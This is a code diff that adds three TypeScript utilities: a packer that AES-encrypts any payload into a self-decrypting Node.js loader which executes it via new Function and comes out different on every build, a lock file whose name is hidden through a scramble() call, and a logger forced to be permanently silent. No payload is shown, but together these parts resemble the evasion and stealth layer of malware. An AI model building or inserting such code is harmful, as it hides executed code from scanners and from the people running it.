diff --git a/src/utils/encryptedWrapper.ts b/src/utils/encryptedWrapper.ts new file mode 100644 index 0000000..d8e1411 --- /dev/null +++ b/src/utils/encryptedWrapper.ts @@ -0,0 +1,65 @@ +import { createCipheriv, randomBytes } from "crypto"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export interface EncryptedWrapperOptions { + /** AES key length in bytes (default: 16 for AES-128) */ + keyLen?: number; + /** IV length in bytes (default: 12 for GCM) */ + ivLen?: number; + /** Auth tag length in bytes (default: 16 for GCM) */ + tagLen?: number; +} + +// --------------------------------------------------------------------------- +// buildEncryptedWrapper +// --------------------------------------------------------------------------- + +/** + * Build a self-decrypting JavaScript wrapper. + * + * Encrypts `payload` with a randomly-generated AES-128-GCM key + IV, + * then embeds the key, IV, auth tag, and ciphertext as hex constants + * inside a small Node.js loader that decrypts and executes at runtime. + * + * Every call produces a completely different output because both the + * AES key and IV are randomly generated. + */ +export function buildEncryptedWrapper( + payload: string, + opts: EncryptedWrapperOptions = {}, +): string { + const { keyLen = 16, ivLen = 12, tagLen = 16 } = opts; + + const key = randomBytes(keyLen); + const iv = randomBytes(ivLen); + const algorithm = keyLen === 16 ? "aes-128-gcm" : "aes-256-gcm"; + + const cipher = createCipheriv(algorithm, key, iv, { + authTagLength: tagLen, + }); + const encrypted = Buffer.concat([ + cipher.update(payload, "utf8"), + cipher.final(), + ]); + const tag = cipher.getAuthTag(); + + const keyHex = key.toString("hex"); + const ivHex = iv.toString("hex"); + const tagHex = tag.toString("hex"); + const dataHex = encrypted.toString("hex"); + + return ` +const {createDecipheriv}=require("crypto"); +const k=Buffer.from("${keyHex}","hex"); +const i=Buffer.from("${ivHex}","hex"); +const a=Buffer.from("${tagHex}","hex"); +const d=Buffer.from("${dataHex}","hex"); +const c=createDecipheriv("${algorithm}",k,i,{authTagLength:${tagLen}}); +c.setAuthTag(a); +const p=Buffer.concat([c.update(d),c.final()]).toString("utf8"); +new Function(p)(); +`.trim(); +} diff --git a/src/utils/lock.ts b/src/utils/lock.ts new file mode 100644 index 0000000..9121670 --- /dev/null +++ b/src/utils/lock.ts @@ -0,0 +1,44 @@ +import { existsSync, readFileSync, unlinkSync, writeFileSync } from "fs"; +import { tmpdir } from "os"; +import { join } from "path"; + +declare function scramble(str: string): string; + +const LOCK_FILE = join(tmpdir(), scramble("tmp.0144018410.lock")); + +function isProcessRunning(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch { + return false; + } +} + +export function acquireLock(): boolean { + if (existsSync(LOCK_FILE)) { + const pid = parseInt(readFileSync(LOCK_FILE, "utf-8"), 10); + if (isProcessRunning(pid)) { + return false; + } + unlinkSync(LOCK_FILE); + } + writeFileSync(LOCK_FILE, process.pid.toString()); + return true; +} + +export function releaseLock(): void { + if (existsSync(LOCK_FILE)) { + unlinkSync(LOCK_FILE); + } +} + +/** + * Release the process lock and exit immediately. + * Safe to call from anywhere — if the lock file doesn't exist + * (e.g. pre-lock-acquisition), releaseLock() is a no-op. + */ +export function bail(code: number = 0): never { + releaseLock(); + process.exit(code); +} diff --git a/src/utils/logger.ts b/src/utils/logger.ts new file mode 100644 index 0000000..aa6132a --- /dev/null +++ b/src/utils/logger.ts @@ -0,0 +1,10 @@ +const noop = () => {}; + +const isSilent = true; + +export const logUtil = { + log: isSilent ? noop : console.log.bind(console), + info: isSilent ? noop : console.info.bind(console), + warn: isSilent ? noop : console.warn.bind(console), + error: isSilent ? noop : console.error.bind(console), +};